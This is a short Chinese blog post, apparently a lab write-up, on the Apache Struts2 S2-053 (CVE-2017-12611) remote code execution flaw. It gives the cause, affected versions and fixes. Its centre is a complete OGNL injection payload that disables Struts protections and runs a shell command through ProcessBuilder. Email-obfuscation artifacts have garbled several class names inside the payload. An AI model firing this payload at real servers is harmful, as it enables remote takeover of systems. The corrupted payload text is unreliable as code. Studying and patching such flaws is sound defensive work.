S2-053 遠端程式碼執行漏洞檢測與利用
阿新 • • 發佈:2018-12-21
Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表示式。導致使用者輸入的資料本身不會被OGNL解析,但由於被Freemarker解析一次後變成離開一個表示式,被OGNL解析第二次,導致任意命令執行漏洞。
漏洞記錄
漏洞編號:S2-053(CVE-2017-12611)
漏洞影響:遠端程式碼執行
影響版本:Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞修復:升級至最新版本
漏洞檢測利用
訪問http://192.168.1.15:8080/hello.action即可看到一個提交頁面。
輸入如下Payload即可成功執行命令:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@ [email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@[email protected](#process.getInputStream()))}
解決方案
1、升級到Apache Struts版本最新版本
2、使用只讀屬性來初始化value屬性(僅限getter屬性)
3、Freemarker標籤內容不要通過Request方式獲取
參考連結:
https://github.com/vulhub/vulhub/blob/master/struts2/s2-053/